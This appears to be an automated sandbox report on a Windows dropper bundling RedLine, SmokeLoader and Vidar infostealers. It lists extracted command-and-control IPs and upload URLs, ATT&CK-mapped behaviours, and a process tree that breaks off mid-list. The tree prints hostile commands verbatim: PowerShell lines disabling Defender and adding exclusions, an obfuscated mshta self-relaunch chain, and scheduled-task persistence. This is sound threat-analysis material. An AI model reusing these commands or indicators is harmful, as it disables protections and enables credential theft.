redline | 64506751e65ec41605c04620d393cdf9338ce76d31d8b0868dbdfce88f086a03

Resubmissions

10/11/2021, 14:50

211110-r7nbvaeddr 10

08/11/2021, 16:12

211108-tnmmbahgaj 10

08/11/2021, 15:26

211108-svdsbaccf6 10

08/11/2021, 14:48

211108-r6lfvshdfn 10

Analysis

max time kernel
23s
max time network
1219s
platform
windows10_x64
resource
win10-de-20211014
submitted
08/11/2021, 16:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe

Score

10^/10

redline smokeloader vidar fucker2 media20 aspackv2 backdoor evasion infostealer spyware stealer suricata themida trojan

Malware Config

Extracted

Family

redline

Botnet

media20

91.121.67.60:2151

Extracted

Family

redline

Botnet

fucker2

135.181.129.119:4805

Extracted

Family

smokeloader

Version

2020

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

http://misha.at/upload/

http://roohaniinfra.com/upload/

http://0axqpcc.cn/upload/

http://mayak-lombard.ru/upload/

http://mebel-lass.ru/upload/

http://dishakhan.com/upload/

rc4.i32

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6948	4516	rundll32.exe	134
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2236	4516	rundll32.exe	134

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 6 IoCs

resource	yara_rule
behavioral12/memory/4364-298-0x000000000041B23E-mapping.dmp	family_redline
behavioral12/memory/4392-297-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral12/memory/4392-299-0x000000000041B23E-mapping.dmp	family_redline
behavioral12/memory/4364-294-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral12/memory/4468-308-0x000000000041B242-mapping.dmp	family_redline
behavioral12/memory/4392-343-0x00000000054F0000-0x0000000005AF6000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
suricata

Vidar Stealer 1 IoCs

stealer

resource	yara_rule
behavioral12/memory/4180-546-0x0000000002180000-0x0000000002255000-memory.dmp	family_vidar

ASPack v2.12-2.42 7 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral12/files/0x000400000001abfc-134.dat	aspack_v212_v242
behavioral12/files/0x000400000001abfc-133.dat	aspack_v212_v242
behavioral12/files/0x000500000001abe9-130.dat	aspack_v212_v242
behavioral12/files/0x000500000001abe9-129.dat	aspack_v212_v242
behavioral12/files/0x000500000001abe9-128.dat	aspack_v212_v242
behavioral12/files/0x000400000001abfa-127.dat	aspack_v212_v242
behavioral12/files/0x000400000001abfa-126.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 23 IoCs

pid	Process
1388	setup_installer.exe
1920	setup_install.exe
3668	Wed12fb2a5c52f05816.exe
2780	Wed128c2773227671b3f.exe
2844	Wed120b6f5c6d562.exe
1656	Wed12fbb08f1dfc28.exe
3552	Wed1217e6a0ef74ed.exe
2536	Wed12bcd18bdbc441.exe
2204	Wed126ca6605dbec0399.exe
1972	Wed129eb9b8859.exe
1360	Wed12859e3c1cf63b6a0.exe
3144	Wed1229427acd4bc167.exe
3824	Wed120b6f5c6d562.tmp
1628	Wed12ebaf7883e1890d.exe
872	Wed121f7e9e92793cf.exe
900	Wed1241cc206cfb.exe
4104	Wed120b6f5c6d562.exe
4252	Wed120b6f5c6d562.tmp
4660	VAKlCUnlQu.exe
4800	294455.exe
4364	Wed128c2773227671b3f.exe
4392	Wed12859e3c1cf63b6a0.exe
4468	Wed121f7e9e92793cf.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Loads dropped DLL 8 IoCs

pid	Process
1920	setup_install.exe
1920	setup_install.exe
1920	setup_install.exe
1920	setup_install.exe
1920	setup_install.exe
1920	setup_install.exe
3824	Wed120b6f5c6d562.tmp
4252	Wed120b6f5c6d562.tmp

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral12/files/0x000400000001ac2e-334.dat	themida
behavioral12/files/0x000400000001ac3b-354.dat	themida
behavioral12/files/0x000400000001ac2e-358.dat	themida

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 10 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1265	ipinfo.io
1308	ipinfo.io
32	ip-api.com
53	ipinfo.io
56	ipinfo.io
341	ipinfo.io
343	ipinfo.io
347	ipinfo.io
54	ipinfo.io
1263	ipinfo.io

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2780 set thread context of 4364	2780	Wed128c2773227671b3f.exe	108
PID 1360 set thread context of 4392	1360	Wed12859e3c1cf63b6a0.exe	107
PID 872 set thread context of 4468	872	Wed121f7e9e92793cf.exe	109

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 15 IoCs

pid	pid_target	Process	procid_target
1468	1920	WerFault.exe	77
4184	2204	WerFault.exe
4484	2204	WerFault.exe
4740	2204	WerFault.exe	119
5072	2204	WerFault.exe	119
4672	2204	WerFault.exe	119
3140	2204	WerFault.exe	119
4508	2204	WerFault.exe	119
5388	4612	WerFault.exe	167
6564	5712	WerFault.exe	188
6700	6364	WerFault.exe	210
6896	6364	WerFault.exe	210
3564	6364	WerFault.exe	210
7504	6364	WerFault.exe	210
9204	4312	WerFault.exe	181

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Wed12fbb08f1dfc28.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Wed12fbb08f1dfc28.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Wed12fbb08f1dfc28.exe

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
5852	schtasks.exe
9036	schtasks.exe
10220	schtasks.exe
6768	schtasks.exe
5388	schtasks.exe

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
8752	timeout.exe
9900	timeout.exe
6152	timeout.exe

Kills process with taskkill 8 IoCs

evasion

pid	Process
7628	taskkill.exe
10876	taskkill.exe
6348	taskkill.exe
1188	taskkill.exe
5360	taskkill.exe
6816	taskkill.exe
4400	taskkill.exe
8520	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1656	Wed12fbb08f1dfc28.exe
1656	Wed12fbb08f1dfc28.exe
2484	powershell.exe
2484	powershell.exe
1480	powershell.exe
1480	powershell.exe
1468	WerFault.exe
1468	WerFault.exe
1468	WerFault.exe
1468	WerFault.exe
1468	WerFault.exe
1468	WerFault.exe
1468	WerFault.exe
1468	WerFault.exe
1468	WerFault.exe
1468	WerFault.exe
1468	WerFault.exe
1468	WerFault.exe
1468	WerFault.exe
1468	WerFault.exe
1468	WerFault.exe
1468	WerFault.exe
1468	WerFault.exe
1468	WerFault.exe
1468	WerFault.exe
1468	WerFault.exe
4184	WerFault.exe
4184	WerFault.exe
4184	WerFault.exe
4184	WerFault.exe
4184	WerFault.exe
4184	WerFault.exe
4184	WerFault.exe
4184	WerFault.exe
4184	WerFault.exe
4184	WerFault.exe
4184	WerFault.exe
4184	WerFault.exe
4184	WerFault.exe
4184	WerFault.exe
4184	WerFault.exe
4184	WerFault.exe
4184	WerFault.exe
4184	WerFault.exe
4484	WerFault.exe
4484	WerFault.exe
4484	WerFault.exe
4484	WerFault.exe
4484	WerFault.exe
4484	WerFault.exe
4484	WerFault.exe
4484	WerFault.exe
4484	WerFault.exe
4484	WerFault.exe
4484	WerFault.exe
4484	WerFault.exe
4484	WerFault.exe
4484	WerFault.exe
4484	WerFault.exe
4484	WerFault.exe
4484	WerFault.exe
4484	WerFault.exe
1480	powershell.exe
2484	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1656	Wed12fbb08f1dfc28.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	1628	Wed12ebaf7883e1890d.exe
Token: SeRestorePrivilege	1468	WerFault.exe
Token: SeBackupPrivilege	1468	WerFault.exe
Token: SeDebugPrivilege	2484	powershell.exe
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeDebugPrivilege	1468	WerFault.exe
Token: SeDebugPrivilege	900	Wed1241cc206cfb.exe
Token: SeDebugPrivilege	4184	WerFault.exe
Token: SeDebugPrivilege	4484	WerFault.exe
Token: SeDebugPrivilege	4740	WerFault.exe
Token: SeDebugPrivilege	5072	cmd.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1340 wrote to memory of 1388	1340	9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe	76
PID 1340 wrote to memory of 1388	1340	9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe	76
PID 1340 wrote to memory of 1388	1340	9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe	76
PID 1388 wrote to memory of 1920	1388	setup_installer.exe	77
PID 1388 wrote to memory of 1920	1388	setup_installer.exe	77
PID 1388 wrote to memory of 1920	1388	setup_installer.exe	77
PID 1920 wrote to memory of 1160	1920	setup_install.exe	80
PID 1920 wrote to memory of 1160	1920	setup_install.exe	80
PID 1920 wrote to memory of 1160	1920	setup_install.exe	80
PID 1920 wrote to memory of 1200	1920	setup_install.exe	81
PID 1920 wrote to memory of 1200	1920	setup_install.exe	81
PID 1920 wrote to memory of 1200	1920	setup_install.exe	81
PID 1920 wrote to memory of 420	1920	setup_install.exe	82
PID 1920 wrote to memory of 420	1920	setup_install.exe	82
PID 1920 wrote to memory of 420	1920	setup_install.exe	82
PID 1920 wrote to memory of 1048	1920	setup_install.exe	92
PID 1920 wrote to memory of 1048	1920	setup_install.exe	92
PID 1920 wrote to memory of 1048	1920	setup_install.exe	92
PID 1920 wrote to memory of 1172	1920	setup_install.exe	83
PID 1920 wrote to memory of 1172	1920	setup_install.exe	83
PID 1920 wrote to memory of 1172	1920	setup_install.exe	83
PID 1920 wrote to memory of 2500	1920	setup_install.exe	84
PID 1920 wrote to memory of 2500	1920	setup_install.exe	84
PID 1920 wrote to memory of 2500	1920	setup_install.exe	84
PID 1920 wrote to memory of 3016	1920	setup_install.exe	90
PID 1920 wrote to memory of 3016	1920	setup_install.exe	90
PID 1920 wrote to memory of 3016	1920	setup_install.exe	90
PID 1200 wrote to memory of 2484	1200	cmd.exe	89
PID 1200 wrote to memory of 2484	1200	cmd.exe	89
PID 1200 wrote to memory of 2484	1200	cmd.exe	89
PID 1160 wrote to memory of 1480	1160	cmd.exe	88
PID 1160 wrote to memory of 1480	1160	cmd.exe	88
PID 1160 wrote to memory of 1480	1160	cmd.exe	88
PID 1920 wrote to memory of 3948	1920	setup_install.exe	85
PID 1920 wrote to memory of 3948	1920	setup_install.exe	85
PID 1920 wrote to memory of 3948	1920	setup_install.exe	85
PID 1920 wrote to memory of 1720	1920	setup_install.exe	87
PID 1920 wrote to memory of 1720	1920	setup_install.exe	87
PID 1920 wrote to memory of 1720	1920	setup_install.exe	87
PID 1920 wrote to memory of 1712	1920	setup_install.exe	86
PID 1920 wrote to memory of 1712	1920	setup_install.exe	86
PID 1920 wrote to memory of 1712	1920	setup_install.exe	86
PID 1920 wrote to memory of 1876	1920	setup_install.exe	91
PID 1920 wrote to memory of 1876	1920	setup_install.exe	91
PID 1920 wrote to memory of 1876	1920	setup_install.exe	91
PID 1920 wrote to memory of 1960	1920	setup_install.exe	93
PID 1920 wrote to memory of 1960	1920	setup_install.exe	93
PID 1920 wrote to memory of 1960	1920	setup_install.exe	93
PID 1920 wrote to memory of 1964	1920	setup_install.exe	94
PID 1920 wrote to memory of 1964	1920	setup_install.exe	94
PID 1920 wrote to memory of 1964	1920	setup_install.exe	94
PID 1920 wrote to memory of 2304	1920	setup_install.exe	96
PID 1920 wrote to memory of 2304	1920	setup_install.exe	96
PID 1920 wrote to memory of 2304	1920	setup_install.exe	96
PID 1048 wrote to memory of 3668	1048	cmd.exe	98
PID 1048 wrote to memory of 3668	1048	cmd.exe	98
PID 1048 wrote to memory of 3668	1048	cmd.exe	98
PID 420 wrote to memory of 2780	420	cmd.exe	95
PID 420 wrote to memory of 2780	420	cmd.exe	95
PID 420 wrote to memory of 2780	420	cmd.exe	95
PID 3016 wrote to memory of 2844	3016	cmd.exe	97
PID 3016 wrote to memory of 2844	3016	cmd.exe	97
PID 3016 wrote to memory of 2844	3016	cmd.exe	97
PID 1920 wrote to memory of 2972	1920	setup_install.exe	123

C:\Users\Admin\AppData\Local\Temp\9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
"C:\Users\Admin\AppData\Local\Temp\9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1340
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1388
- - C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1920
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1160
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1480
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1200
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2484
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed128c2773227671b3f.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:420
    - - C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed128c2773227671b3f.exe
        
        Wed128c2773227671b3f.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2780
      - C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed128c2773227671b3f.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed128c2773227671b3f.exe
        6⤵
        Executes dropped EXE
        
        PID:4364
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed126ca6605dbec0399.exe /mixone
      4⤵
      PID:1172
    - - C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed126ca6605dbec0399.exe
        
        Wed126ca6605dbec0399.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:2204
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 716
        6⤵
        Program crash
        Suspicious use of AdjustPrivilegeToken
        
        PID:4740
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 816
        6⤵
        Program crash
        
        PID:5072
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 900
        6⤵
        Program crash
        
        PID:4672
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 964
        6⤵
        Program crash
        
        PID:3140
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 1100
        6⤵
        Program crash
        
        PID:4508
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed1217e6a0ef74ed.exe
      4⤵
      PID:2500
    - - C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed1217e6a0ef74ed.exe
        
        Wed1217e6a0ef74ed.exe
        5⤵
        Executes dropped EXE
        
        PID:3552
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed12bcd18bdbc441.exe
      4⤵
      PID:3948
    - - C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed12bcd18bdbc441.exe
        
        Wed12bcd18bdbc441.exe
        5⤵
        Executes dropped EXE
        
        PID:2536
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed1229427acd4bc167.exe
      4⤵
      PID:1712
    - - C:\Users\Admin\AppData\Local\Temp\7zSC65959E5\Wed1229427acd4bc167.exe
        
        Wed1229427acd4bc167.exe
        5⤵
        Executes dropped EXE
        
        PID:3144
      - C:\Users\Admin\Pictures\Adobe Films\6UtEPY63asuoHJ3TV54JT1Sa.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\6UtEPY63asuoHJ3TV54JT1Sa.exe"
        6⤵
        
        PID:2148
      - C:\Users\Admin\Pictures\Adobe Films\pJa6fDF0kzkGEUZHEqeUmqO4.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\pJa6fDF0kzkGEUZHEqeUmqO4.exe"
        6⤵
        
        PID:4532
      - C:\Users\Admin\Pictures\Adobe Films\Fpc1bwzElU4ov9tlBlzhrvcm.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Fpc1bwzElU4ov9tlBlzhrvcm.exe"
        6⤵
        
        PID:4180
      - C:\Users\Admin\Pictures\Adobe Films\pyz4lHs3r7BEEwyZt0s72UHr.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\pyz4lHs3r7BEEwyZt0s72UHr.exe"
        6⤵
        
        PID:4236
        
        C:\Users\Admin\Documents\r5Lv1j4y4p0G8TCeLr26bTCE.exe
        
        "C:\Users\Admin\Documents\r5Lv1j4y4p0G8TCeLr26bTCE.exe"
        7⤵
        
        PID:6536
        
        C:\Users\Admin\Pictures\Adobe Films\GV77tunz9CCvMr9a91PjNS4k.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\GV77tunz9CCvMr9a91PjNS4k.exe"
        8⤵
        
        PID:7900
        
        C:\Users\Admin\Pictures\Adobe Films\X1f07MT6jKE2UEpkz6kfvsIO.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\X1f07MT6jKE2UEpkz6kfvsIO.exe"
        8⤵
        
        PID:4764
        
        C:\Users\Admin\Pictures\Adobe Films\SExVWsYAgKyS8qXPwutUVIVy.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\SExVWsYAgKyS8qXPwutUVIVy.exe"
        8⤵
        
        PID:7356
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        9⤵
        
        PID:10832
        
        C:\Users\Admin\Pictures\Adobe Films\FWioiJIJAHr0CfxQpHU7g8t7.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\FWioiJIJAHr0CfxQpHU7g8t7.exe"
        8⤵
        
        PID:5136
        
        C:\Users\Admin\Pictures\Adobe Films\oGQM_xpRE7akxMlbcBUx8sk9.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\oGQM_xpRE7akxMlbcBUx8sk9.exe"
        8⤵
        
        PID:5380
        
        C:\Users\Admin\Pictures\Adobe Films\6zDfwbQTQufA1llXR4BWNFa6.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\6zDfwbQTQufA1llXR4BWNFa6.exe"
        8⤵
        
        PID:6796
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\6zDfwbQTQufA1llXR4BWNFa6.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\6zDfwbQTQufA1llXR4BWNFa6.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        9⤵
        
        PID:8276
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\6zDfwbQTQufA1llXR4BWNFa6.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\6zDfwbQTQufA1llXR4BWNFa6.exe" ) do taskkill -f -iM "%~NxM"
        10⤵
        
        PID:3592
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "6zDfwbQTQufA1llXR4BWNFa6.exe"
        11⤵
        Kills process with taskkill
        
        PID:10876
        
        C:\Users\Admin\Pictures\Adobe Films\5BVoxWAfJ3pwrgh67bjBo5bs.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\5BVoxWAfJ3pwrgh67bjBo5bs.exe"
        8⤵
        
        PID:8864
        
        C:\Users\Admin\AppData\Local\Temp\is-3GLOH.tmp\5BVoxWAfJ3pwrgh67bjBo5bs.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-3GLOH.tmp\5BVoxWAfJ3pwrgh67bjBo5bs.tmp" /SL5="$901E0,506127,422400,C:\Users\Admin\Pictures\Adobe Films\5BVoxWAfJ3pwrgh67bjBo5bs.exe"
        9⤵
        
        PID:3604
        
        C:\Users\Admin\AppData\Local\Temp\is-1JD8P.tmp\DYbALA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-1JD8P.tmp\DYbALA.exe" /S /UID=2709
        10⤵
        
        PID:10456
        
        C:\Users\Admin\Pictures\Adobe Films\6Lhg04l8MihPYPYK0Z2PiwMY.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\6Lhg04l8MihPYPYK0Z2PiwMY.exe"
        8⤵
        
        PID:5020
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        9⤵
        
        PID:1512
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:9036
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:10220
      - C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe"
        6⤵
        
        PID:4060
        
        C:\Users\Admin\AppData\Local\Temp\29a0b6b0-c2bc-47eb-9074-0f456964a0c9\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\29a0b6b0-c2bc-47eb-9074-0f456964a0c9\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\29a0b6b0-c2bc-47eb-9074-0f456964a0c9\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        7⤵
        
        PID:5776
        
        C:\Users\Admin\AppData\Local\Temp\29a0b6b0-c2bc-47eb-9074-0f456964a0c9\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\29a0b6b0-c2bc-47eb-9074-0f456964a0c9\AdvancedRun.exe" /SpecialRun 4101d8 5776
        8⤵
        
        PID:7960
        
        C:\Users\Admin\AppData\Local\Temp\5743d5f5-14a0-4d0a-9c87-2a140706b79a\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5743d5f5-14a0-4d0a-9c87-2a140706b79a\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\5743d5f5-14a0-4d0a-9c87-2a140706b79a\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        7⤵
        
        PID:6476
        
        C:\Users\Admin\AppData\Local\Temp\5743d5f5-14a0-4d0a-9c87-2a140706b79a\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5743d5f5-14a0-4d0a-9c87-2a140706b79a\AdvancedRun.exe" /SpecialRun 4101d8 6476
        8⤵
        
        PID:7988
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe" -Force
        7⤵
        
        PID:7656
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe" -Force
        7⤵
        
        PID:6456
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe" -Force
        7⤵
        
        PID:6692
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
        7⤵
        
        PID:7184
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\Tyk6WYPQtND0kiBY0ARZefLq.exe" -Force
        7⤵
        
        PID:8264
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
        7⤵
        
        PID:8592
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe"
        7⤵
        
        PID:8976
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"
        7⤵
        
        PID:8040
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe"
        7⤵
        
        PID:5140
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
        
